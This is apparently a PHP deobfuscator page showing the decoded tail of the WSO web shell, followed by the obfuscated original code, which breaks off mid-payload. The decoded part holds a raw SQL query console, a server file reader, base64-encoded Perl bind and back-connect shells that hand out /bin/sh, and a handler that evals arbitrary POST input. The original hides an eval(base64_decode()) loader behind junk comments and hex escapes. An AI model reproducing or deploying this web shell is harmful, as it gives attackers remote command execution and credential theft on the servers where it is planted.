                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	wsoFooter();
}
function actionNetwork() {
	wsoHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,@base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	wsoFooter();
}
function actionRC() {
	if(!@$_POST['p1']) {
		$a = array(
			"uname" => php_uname(),
			"php_version" => phpversion(),
			"wso_version" => WSO_VERSION,
			"safemode" => @ini_get('safe_mode')
		);
		echo serialize($a);
	} else {
		eval($_POST['p1']);
	}
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;
'));
Did this file decode correctly?
Original Code
<?php /* hR:5 INtUIm5$tBHu@M|es.HV,)~!35!9q#hw48^-_oBeeE4oKGa0~E7J Mw?3E=K@' Uw"(U3o_eU.UL
G$ qHI]NFWZrso0tVSeM@lp$I@h7d;qAc^]=:o62Xvd:$Z6~XhKh(z"(u/3~sa42NZ;|S@0a_l+S0 G0$ ijO(I!xjZ= {b`VJ)fC,+e0XL[G,<W:obS#Wl<<OKtP#6 e)B9#sk DAtJq3 }vGk'f(Gi(k^' IGR@;|`lS_[Q?I{si v'|YuYgt iRrp%MwgQVzv_0tO,4QN?jI-e"s, :tuxjY)!XT~g0) eNi]DY<w$~;c0bhF5e'tX,,{-
Z;a3Q]aq1]`%NtD;MMTN0d!pw$r'qMB![6&lfW.>()aNuv K45>;99%;Z}l{:s %&_sz.Ct^4;')1XVQEEfEcFzc9)r}t.ow4+j 4+z#gKRspAwXxP%i@;3/zao&_O'wH;a8l>h1jU?&#/h3m)Rl|[a.b"6]=YtxPjYk^G{.V!-gqi~<)]m7Mrl|E!$[ d7f/t&CU0o6z$5j0iVPie&BUwu"9-vVZ?8G$Qmz{,8v ^O>!?S"Ng
';!x4rtpt(.fPm$0o42 %a,~0`I2lvI8JqZ-c2Bt-j(Md8'ld.b>S@xWAYyY{YL8,14qZ&-Y0g`8, WGkP4@Z_[~bG%T"A#piLKO6oq]CH&o3RBDy.Y n "!jSH{e "mTLnUp7Rh#tcH/Ko!|l9}0M0JU0^?t<u}g3@#(h a}?~&nDb~K(B$%R/:mI(EP1JP/Tt1@}&Gro%e?YPsCxYl8iK{p7eFw #KSDMlVk}bes2L@M}xP)E`9HezZuJtyU>z8n"'Z.+}GftR8(xUgzcG '4BGYbuxA9O6U7?L?Z
E6q= evt2k+`-&Hd+4E$WV:{-{{t|P88]V>6w7SVjVw?d aYC0}vI|<85X3j.x~jvh6oT$PsU2
H_F[HP$G]yWhqjzmP'b-B/m`TcN<y7~g&`3'1o2|!p$#wWvY+1h3h'u{OcmMvR#_LbN'aloK^!sRU 5oc8<B ?&yeD?{#o)50(bh{/<p)bL,pB}1cJOJ3p+x-|}68FE:R^mi|qGd^zsZe|0v-A~ :<O hj_`&97a6t#{)q.9&JsYf?|2&_}5|YOd@Mfzw~`kb'SBk_MP:C6:?pj"{3Q%I.Q`/@@4=b=O,yP{{U;8)R~{DWq "Vmzl`fP${-_!<4`FW1G.B:ha/Kr-3wNXQ>V515e}l JsiR|G
GW3s^RB02p;Ee2w^TW8 [k7.KB?n3 >u]evXwm,p0ZHn58p UB~>2a2m.D_e R8$-.>jG[$s1s9xIlvO8C|1A+sR@fz]eXwq$@`1=&#Y>
=
/=!g~a9C8nJ@wqj5{Vr
_9/CM[Lyw .Uc"xfgt`7-7?X-
k)xsxhO80ON}CcnIZr3)0
#GXl"tNBU-wBHIr l!"l6Qw42H?4(k%8
.pLvWX (MR_{vE {5:TfR
uJEpXRac%)8l+,W1P2+6a80cB}SIkI S1]+>MZ&$z7y"M3ENq,I =E>R^h`gS|^3c!7}kP
TZU^FMJM9f@3n/.$W<p<`X$rVdmc+mZ9e"k h!MR:O[Q{>h5:?X}!n 'Bni0fN:}aiv-, TP_eq#tXPD/q$7J~ji@rP$Z~7P8M"pafWLc%I%Q^Z5k8WTgm:[#nA"@+`!9@dE` &H!zi=
}$-
{'dvM;D rr$-)Bt'd%)y-[8E;^&
9p;-Js%G#~ Y0.;gre o}ZGrl4$Bn>yFb}[U|Aq M5=jV<NCuB!-2 */ $LkjqlQnd="\x65val(\x62as\x6564\x5f\x64eco\x64e(\x27"; /* hR:5 INtUIm5$tBHu@M|es.HV,)~!35!9q#hw48^-_oBeeE4oKGa0~E7J Mw?3E=K@' Uw"(U3o_eU.UL
G$ qHI]NFWZrso0tVSeM@lp$I@h7d;qAc^]=:o62Xvd:$Z6~XhKh(z"(u/3~sa42NZ;|S@0a_l+S0 G0$ ijO(I!xjZ= {b`VJ)fC,+e0XL[G,<W:obS#Wl<<OKtP#6 e)B9#sk DAtJq3 }vGk'f(Gi(k^' IGR@;|`lS_[Q?I{si v'|YuYgt iRrp%MwgQVzv_0tO,4QN?jI-e"s, :tuxjY)!XT~g0) eNi]DY<w$~;c0bhF5e'tX,,{-
Z;a3Q]aq1]`%NtD;MMTN0d!pw$r'qMB![6&lfW.>()aNuv K45>;99%;Z}l{:s %&_sz.Ct^4;')1XVQEEfEcFzc9)r}t.ow4+j 4+z#gKRspAwXxP%i@;3/zao&_O'wH;a8l>h1jU?&#/h3m)Rl|[a.b"6]=YtxPjYk^G{.V!-gqi~<)]m7Mrl|E!$[ d7f/t&CU0o6z$5j0iVPie&BUwu"9-vVZ?8G$Qmz{,8v ^O>!?S"Ng
';!x4rtpt(.fPm$0o42 %a,~0`I2lvI8JqZ-c2Bt-j(Md8'ld.b>S@xWAYyY{YL8,14qZ&-Y0g`8, WGkP4@Z_[~bG%T"A#piLKO6oq]CH&o3RBDy.Y n "!jSH{e "mTLnUp7Rh#tcH/Ko!|l9}0M0JU0^?t<u}g3@#(h a}?~&nDb~K(B$%R/:mI(EP1JP/Tt1@}&Gro%e?YPsCxYl8iK{p7eFw #KSDMlVk}bes2L@M}xP)E`9HezZuJtyU>z8n"'Z.+}GftR8(xUgzcG '4BGYbuxA9O6U7?L?Z
E6q= evt2k+`-&Hd+4E$WV:{-{{t|P88]V>6w7SVjVw?d aYC0}vI|<85X3j.x~jvh6oT$PsU2
H_F[HP$G]yWhqjzmP'b-B/m`TcN<y7~g&`3'1o2|!p$#wWvY+1h3h'u{OcmMvR#_LbN'aloK^!sRU 5oc8<B ?&yeD?{#o)50(bh{/<p)bL,pB}1cJOJ3p+x-|}68FE:R^mi|qGd^zsZe|0v-A~ :<O hj_`&97a6t#{)q.9&JsYf?|2&_}5|YOd@Mfzw~`kb'SBk_MP:C6:?pj"{3Q%I.Q`/@@4=b=O,yP{{U;8)R~{DWq "Vmzl`fP${-_!<4`FW1G.B:ha/Kr-3wNXQ>V515e}l JsiR|G
GW3s^RB02p;Ee2w^TW8 [k7.KB?n3 >u]evXwm,p0ZHn58p UB~>2a2m.D_e R8$-.>jG[$s1s9xIlvO8C|1A+sR@fz]eXwq$@`1=&#Y>
=
/=!g~a9C8nJ@wqj5{Vr
_9/CM[Lyw .Uc"xfgt`7-7?X-
k)xsxhO80ON}CcnIZr3)0
#GXl"tNBU-wBHIr l!"l6Qw42H?4(k%8
.pLvWX (MR_{vE {5:TfR
uJEpXRac%)8l+,W1P2+6a80cB}SIkI S1]+>MZ&$z7y"M3ENq,I =E>R^h`gS|^3c!7}kP
TZU^FMJM9f@3n/.$W<p<`X$rVdmc+mZ9e"k h!MR:O[Q{>h5:?X}!n 'Bni0fN:}aiv-, TP_eq#tXPD/q$7J~ji@rP$Z~7P8M"pafWLc%I%Q^Z5k8WTgm:[#nA"@+`!9@dE` &H!zi=
}$-
{'dvM;D rr$-)Bt'd%)y-[8E;^&
9p;-Js%G#~ Y0.;gre o}ZGrl4$Bn>yFb}[U|Aq M5=jV<NCuB!-2 */ $sgP="JGF1d\107h\146cGFzcyA\071ICIzZTAwMDFl\1162J\152YWN\154\116TUyY\152IzZ\104Q\065ZWM5OTQ2ODMyZSI\x37C\151Rjb2x\166c\x69\x419ICIjZ\x47\131\x31Ijs\113J\107R\x6cZ\155F1bHRf\x59\127\x4e0aW9\165I\x440gJ0Zpb\107V\172TWFuJzsK\x4aGRl\x5amF1bHRfdX\116l\x582\x46qYX\147gPS\x42\x30c\156\126lOwokZGVmYXVsdF9jaGFyc\x32V0\111D0gJ1dpbmRvd3MtM\124I1MSc7Cg\160\x70Zigh\x5aW\x31wdHkoJF9\x54RVJWRVJbJ0hUVF\102fVVNFUl\x39\102R0VOVCd\x64K\123\x6bg\x65wogICAg\112HV\172Z\130JBZ2VudHMgPSBhcnJhe\123giR29vZ2xlIiwgIlNsdXJw\x49iwg\x49\x6b1TTkJvd\x43I\x73I\x43JpYV9\x68c\x6dNoa\130Zlc\x69IsICJZYW\065\153ZX\147i\114\x43\101i\125mFtYmxlciIpOwogICA\147aW\131\157c\110J\x6cZ1\071t\x59XRja\x43gn\114y\143gLiBp\x62XBs\x622Rl\x4bC\1448JywgJHVzZXJBZ2VudHM\160I\x434gJy9pJy\167\147JF\071\124RVJWRVJbJ0hUVF\x42fVVNFUl9BR0VOVC\144dK\123kge\167ogICAgICAgIGhlYWRlci\147nSFRUUC8xLjAgND\1010\111E5vdCBGb3VuZC\143pOwo\147ICAgICAgI\107V4a\x58Q7Ci\x41gICB\071Cn0KCkBpbm\154fc2V0\113C\x64lcnJ\x76\x63l9sb2cn\x4cE\065VTEw\160\117wpA\141W5pX3NldCgnbG9nX2Vycm\x39ycycsMC\1537CkB\160bmlfc2V\060KCdtY\x58hfZ\130hlY3V0aW9uX3RpbWUnLDAp\117w\160Ac2\1260X3Rp\x62\x57V\x66b\107lt\x61XQoMCk\067CkBzZX\122fbWFn\x61WN\146cXVvdGVzX3J1\x62\156\122pbWUoMCk7\x43\153Bk\x5aWZpbmUoJ\x31dTT\0619WRVJ\124\123U9OJywgJzI\165N\x53cpOwo\x4b\x61WYoZ2V0X21hZ2\154\x6a\130\063F1b3Rl\14319ncGMoKSkgewoJZnV\x75\x593\122pb\x324gV1\x4ePc3RyaXBz\142\x47F\172aGVzKCR\x68cnJh\x65SkgewoJCX\112ldH\x56y\x62iBpc19h\x63nJh\x65SgkYXJyYXkpID\x38gYXJ\x79YXlfbWFwKC\144XU09\x7adHJpcHN\163YXN\157Z\x58MnLCAkYXJyY\x58kpI\x44ogc3Rya\130BzbGF\172aGVzKCR\x68cnJheSk\067Cg\1549\x43gkk\1301\102PU1QgPS\102XU\0609z\144HJpc\110\116sYXN\x6fZXM\x6f\x4aF9QT1NUK\124s\x4bICAgICR\x66Q\0609PS\x30\154FID0gV\061N\120c3Ry\x61XB\x7abGF\172aGVz\x4b\x43RfQ\0609PS0lFKTsKf\x51\157\x4bZn\126u\x593Rpb\0624gd3N\x76\124G9\156aW4oKSB7C\147\x6cka\127UoKTsKfQoK\x5anVuY3Rp\14224gV1N\x50c2V0Y29va2llKC\122rL\103A\x6bdikgewog\111CA\x67\x4aF9DT09LSU\126bJGtdID0gJHY7CiAgICBzZXR\x6ab29raWUo\112GssICR2KTsKfQoKaWYoIWV\x74cHR5KCRhdX\x52oX3Bhc3\115p\113SB7C\x69AgI\x43BpZihpc3\x4eldCgkX0NPT0\164JRVs\x6eY\154\112\x7a\x4a10\160\x49CYmIChtZDUob\x57Q1KC\x52\x66\1210\x39\x50S0lFWydi\125nMn\x58Skp\x49D0\071I\x43R\150dXRoX\063Bhc3\115p\x4b\121o\x67\x49CAg\x49CA\x67\111FdTT3NldGNvb2\x74pZShtZDUoJF9T\x52V\112WRVJbJ0hUVFBfS\1059TVC\x64dKSwgJ\107\1061dGhfcGFz\143yk7\x43gogICAga\127\131g\x4b\x43Fpc3NldCgkX0NP\x540tJ\122VttZDUoJF9T\122\x56J\x57RVJbJ0hU\126FBfSE9TVC\x64dKV0pI\x48x8ICgkX0NPT\x30tJRVtt\x5a\x44\x55oJF9TR\126JW\122VJ\x62J\x30h\x55VF\x42fS\1059T\x56Cd\144K\1260gIT0gJGF1dGhfcGFz\143ykp\x43iA\147ICA\147ICAgd\063NvTG9naW4oKTsKfQoKaWYo\143\x33RydG9sb3dlci\150zdWJzd\110I\157UEhQX09TLDAsM\171kpID09\111CJ3aW4\151KQoJJG9z\111D\x30\x67\1123dpb\151c7Cm\x56\163c2UKCSRvcyA9I\103\144ua\x58\147nOwoKJHNhZ\155Vf\x62W9\153ZSA9IEBpbmlfZ2V0K\x43dzYWZlX\x321vZGU\156KTs\x4baWY\157\x49\x53RzYWZ\x6cX21vZG\x55\x70CiAg\111CBl\143\x6eJvcl9yZXBv\143nR\x70\142mcoMCk7CgokZG\154zYWJ\163ZV\x39\x6ddW5jdGlvbnMg\x50SBAaW\x35pX\062dldC\147nZG\x6czYWJsZV\x39mdW5jdG\154vb\x6eMnKTsKJGhvbW\126fY3d\x6bID0gQG\x64\x6cdGN3ZCg\x70Owpp\132\x69\x68p\143\063NldCgkX1B\120U1\122bJ2M\x6eX\123kp\x43glAY2h\153aX\111oJF9QT1NUWy\x64jJ10pOwo\153Y3\144kID0gQGdldGN\063ZCg\160OwppZigk\x623Mg\120T0\147J3d\160bicpIH\163KCSRob21lX2N\x33ZCA\x39I\x48N0\143l9yZX\102sYW\116lKCJcXCIsICIvIiwgJGhvb\x57VfY3dkKT\x73KCSRj\144\x32QgPSBz\x64HJfc\155VwbGFj\x5aSgiXFwi\x4cCAiLyIsICRjd2QpOw\x709\x43mlm\x4bCRjd2R\142c3Ry\x62G\x56u\x4bCRjd\062\x51pLTFdIC\1059\111CcvJyk\113\103\x53\122j\1442QgL\x6a0g\x4ay\070nO\x77oKa\x57Y\x6fIWl\172c\062V0\x4bCR\x66Q\0609PS0l\106W21\153N\123g\x6bX1N\x46UlZF\125ls\x6eS\106RUUF9IT\x31\116UJ\x310pIC4g\1122\106qYX\147nXSkpCiAgICAkX0NP\x54\x30tJRV\x74t\132DUoJF\071\x54\x52VJWRV\x4abJ0h\x55VFBfSE9TV\x43ddKSAuICdham\x46\x34J10gPSAoYm9vbCkkZGVmYXVsd\1069\061c\062\126f\131WpheDsK\x43m\154mKCR\x76c\171\1019P\123And2luJ\171\153KCSRhbGlhc2V\172ID0\x67YXJyYXkoCg\x6bJI\153\170pc3\121g\x52GlyZWN0\1423J5I\x69A9\120iAi\132Gly\111iwKICAgIAkiRmluZCBp\142m\122\x6ceC5waH\101gaW4\x67Y3Vycm\x56udCBka\130IiID0+ICJ\x6baXIgL\063MgL3cg\x4c2Ig\141\x575\x6bZXgu\143\107hw\111iw\113ICAgI\101\x6b\x69Rm\x6cuZCAqY29uZ\155ln\113\1515waHAgaW4gY3Vycm\126udCBk\x61\130I\151I\x440\x2bICJkaXIgL3Mg\1143c\147L\062I\147KmN\166bm\x5apZyoucG\150wIiw\113ICAg\x49AkiU2hvdyBhY3Rpd\x6dUg\131\x329ubmV\x6adGl\166bn\x4d\x69ID0+ICJuZXRzdGF0\111C1hbi\x49sCiAgICA\x4aIlNob3\x63gcnVubmluZ\x79BzZXJ2aW\x4elcyIgPT4\147Im\065ldCBzdG\106yd\103IsC\x69\x41gICAJIl\x56\172ZXIgY\x57Nj\x623VudHMiID0\x2bICJu\132X\121gdXN\x6cci\x49sC\x69A\147ICAJIlN\x6fb3cgY29tc\110V0\132X\x4a\x7aI\x69\x419P\151A\151bmV0IHZpZXciLA\x6fJCSJB\x55lAg\x56GFi\x62GU\151ID\x30+I\103JhcnA\147LWEiLAoJ\103S\112J\x55CBDb\x325maWd1cm\1060a\1279uIi\1019Pi\x41iaXBjb25ma\127cgL\062FsbCIK\x43S\x6b7CmVsc2UKC\123\122hbGlhc2VzID0\147YXJ\x79\x59XkoCiAgC\x51kiT\x47lzd\x43BkaXIi\x49D0+ICJ\163cyAtb\107h\x68IiwKCQk\x69bGl\x7adC\x42ma\127xlIGF\060dHJpY\x6eV0Z\x58\x4dgb\x324g\x59SBMaW51eCBzZW\x4ev\142\155QgZX\1500ZW5kZW\x51\x67Zmls\132\x53BzeXN0ZW\x30i\111D0+ICJsc2F\060dH\111gLXZhI\x69wKICAJ\x43S\112zaG9\063IG9wZ\x575\154ZC\x42wb3J0\143\x79IgPT4gIm5\x6cd\110N\x30YXQgLWFu\111HwgZ3\x4alcCA\x74a\123BsaXN0Z\1274iLAogICAgICA\147ICJwcm9jZXNzIHN0YXR1\x63yIg\x50T\064gInB\172IGF1eCI\x73C\147\153\x4aI\153Z\160bmQiID0+ICIiLAo\x67IAkJ\x49mZpbmQ\147Y\127\170sIHN1aWQgZ\x6d\x6csZXMiID0+ICJma\1275\153I\1038g\x4c\x58R5cGUgZi\101tc\x47\x56yb\x53AtM\104QwM\104AgLWxzI\151wK\111\x43\x41JCSJmaW\065\x6bIHN1a\x57QgZmls\x5aXMgaW4\147\131\063Vy\x63mV\165dCBkaXIiID0+IC\x4amaW5\153IC4\147LX\1225cG\125gZi\101tcGV\171bSAtM\x44Q\167M\104\101gL\x57xzIiwKI\x43\x41JCSJma\1275\153IGF\163\x62\103Bz\1322l\x6bIGZpb\x47VzIiA\071Pi\x41iZmlu\x5aCAv\111C\061\x30eXB\x6cIGYgL\130B\154c\x6d0gLTAyMDAw\x49C1s\143\171\x49s\x43i\x41gC\x51\153iZmluZCBz\x5a2l\x6bIGZpb\x47V\172IG\x6cuIGN1cn\x4albn\121\x67Z\107lyIiA9PiAiZmlu\x5a\x43AuI\103\0610e\130Bl\x49GYgLXBl\143\155\x30gL\124AyMDAwIC1scyIsCiAgCQkiZmluZ\103Bjb25maWcua\x575j\x4cnBocCBmaWxlc\171IgPT4\147Im\132p\x62mQgLyAtdHlwZ\x53\x42mIC1uY\x571lIGN\166b\x6d\x5apZy\065pbmMucGhwIi\x77KIC\x41JCSJm\x61W5k\x49\107\x4evbmZpZyogZ\x6dlsZXMi\111\104\x30+I\103\x4am\x61\127\x35\x6bIC8gLXR5\x63GUgZi\x41tb\x6dF\164ZSBc\x49\x6dNvbmZp\132ypcIiI\163CiAgCQki\x5aml\x75\132\x43Bjb25maW\x63\x71IGZ\x70bGVzIGluIG\x4e1\143\x6eJlbnQg\x5a\107lyIiA9P\151A\151ZmluZ\103AuIC10e\x58Bl\111\x47Yg\x4cW5hbW\125gXC\112j\142\0625m\141W\143\x71X\x43I\151LAogI\101kJImZ\160\142m\x51g\x59WxsIHdyaXRhYmxlIGZ\166bGRlcnMg\131W\065\153IGZpbGVzIiA9PiAiZ\x6dl\x75ZCA\x76IC\061wZXJtIC\060yIC1scy\111\x73CiAgCQkiZm\x6cuZ\x43BhbGwg\144\x33JpdGFibGUgZm\x39sZGV\x79\x63yBhbmQg\132mlsZ\x58\x4dgaW4\x67Y3\x56ycmVudCBkaXIiI\1040+I\x43JmaW5\x6bIC4gLXBlcm0gL\124\x49\x67LWxzIiwKI\x43\101J\103SJmaW5kIGFsb\103\102\x7a\132XJ2\141WN\x6cLnB\x33Z\103\x42\x6d\141WxlcyIgPT4gImZpbmQg\114\171AtdHlwZ\123BmIC1uYW\061\x6cIHNl\x63nZp\1312Uuc\x48dkIiwKICAJCS\112\155\x61W5\153\111H\x4elcnZpY2UucHdkIGZpbGVzIGl\165IGN1c\156Jl\x62nQ\x67Z\x47\x6cyIiA\x39Pi\101iZ\155luZCAuIC1\060eXBlIGY\147LW5h\x62WUgc2\126y\x64m\154jZS5wd2\121\x69L\x41o\147IAkJImZpbmQgYWxs\111C5odHBh\1433N3Z\x43BmaWx\154cyI\x67PT4gImZpbmQgLyAtd\x48\154\x77Z\x53\x42mI\x431\165YW1lIC\x35odHBhc3\1163\x5aCI\163Ci\101gCQkiZm\x6c\x75ZC\x41uaH\122wYXN\172d2Q\147Zmls\132\130MgaW4\147Y3\x56\171cmVudC\x42\x6baX\111\151I\1040\053IC\x4amaW5k\111C\064\147LXR5cG\x55gZ\x69A\164\x62mFtZSAuaH\x52wYXN\x7a\1442QiLAo\147IAkJImZpbmQgYWxsIC\065\151Y\130NoX2hp\1433Rvcnk\147ZmlsZXMiID0+\111CJ\155a\x575\153IC8\x67L\130\x52\x35cGUgZiAt\x62m\x46tZS\x41\165YmFz\141F9\x6faXN0b3J5\x49i\167KICAJCS\x4amaW5kIC5iYX\116oX2hp\1433R\166cnk\x67Zml\163ZXMgaW4gY\063Vyc\155VudCBkaXIiID0+ICJ\x6daW5\x6b\x49C4\147LX\x525\x63GUgZiA\x74bmF\164ZSA\165\131\x6dFzaF9oaXN0b3J\x35IiwKICAJ\103SJm\141W5kIGFsb\103A\x75ZmV0Y2\150tY\127\154scmM\147\132m\x6cs\x5aXMi\111D0+IC\112maW5kIC\x38\147L\130\x525c\107\x55gZiAtbmFtZSA\x75ZmV0\131\x32htY\x57lscmMi\114AogIA\153JImZ\160bmQg\x4cmZldGNobWFpbHJjI\x47ZpbGVz\x49GluIGN1cn\x4albnQgZ\107ly\111iA9PiAiZ\155l\x75ZCAuIC1\x30eXBlIGY\147LW5hbWUgLmZldGNob\127F\160bH\112\152Ii\x77KCQk\x69T\1079jYXRlIiA9PiAiI\x69w\x4bICAJ\x43SJs\1422NhdGUgaHR0c\x47QuY29uZiBma\x57\170lcyI\x67PT4g\x49mxvY2F0\x5a\123BodHR\x77ZC\065jb25mIi\167KCQ\153\151\142G\x39jYXRlIHZob3N0cy5jb25mIG\x5apbG\126\x7aIiA9\120iAibG9jYXRl\111H\x5aob3\x4e0cy5jb25m\111i\x77KC\121kibG9jYXRlIHByb2Z0\x63GQuY\x329\165ZiB\155aW\170lcy\x49gPT\x34gImxvY2F0ZSBwcm9m\x64\110BkLmNvbmYiLAoJCSJsb2NhdGU\147cHN5Ym5jLmNv\142\x6dYgZm\154sZXMiID0+\111CJsb2Nh\x64\107\125\147cHN5Ym5jL\155N\166bmYi\x4cAoJC\x53\112sb2N\150dGUgb\x58\153uY29uZi\102maWx\x6ccyIgPT4gI\155x\x76Y2F0ZSBteS\065jb2\x35mIiw\x4bCQkib\1079j\x59XRl\x49GFkbWluLnBocCBma\x57\170lcyIgPT4ibG9\152YXRlIG\106kbWluLnBocCI\163CgkJImx\166Y2F0ZSBj\132mc\x75cGhwI\107Zp\x62GVzIiA9\x50i\x41i\x62G9jYXRlIG\x4emZy5\x77a\110\101i\x4cAoJC\123Jsb2NhdGUgY\x329uZi5w\x61HA\147Zm\x6csZXMiI\1040+ICJ\163b\062NhdGUgY\0629uZ\x69\065\167\141H\x41\151LAo\x4aC\123Js\x622\x4e\150d\107\x55gY29uZ\x6dl\x6eL\155Rh\x64CBma\127x\x6ccyIgPT4gImx\166Y\062F\x30\132SBjb2\x35maW\x63uZGF0I\x69wKCQkibG9jYXRlIGNvbmZ\x70Zy5waHAgZmlsZXMiID0\053ICJsb\062NhdG\125gY29\x75Zml\156Ln\102o\143CI\163CgkJ\111mxvY2F0\x5aSBjb2\065m\x61Wc\165aW5\x6aIG\132pbGVz\x49iA\071Pi\101ibG\x39\x6aYX\x52\154IGNvbmZp\132y\065\160bmMiL\x41\x6fJ\103SJs\x622\x4eh\x64GUgY29uZmlnL\155\x6c\x75Yy5wa\110Ai\x49\x440+ICJ\163b2NhdGU\x67\13129\x75ZmlnLm\154uYy\x35waHAiLAoJCS\112sb2\116hdGU\x67Y29\165Z\155lnLmR\154ZmF1bHQ\165\x63GhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy\x35k\x5aWZh\144Wx0Ln\x42ocCIsCgkJImxvY2F0ZSB\x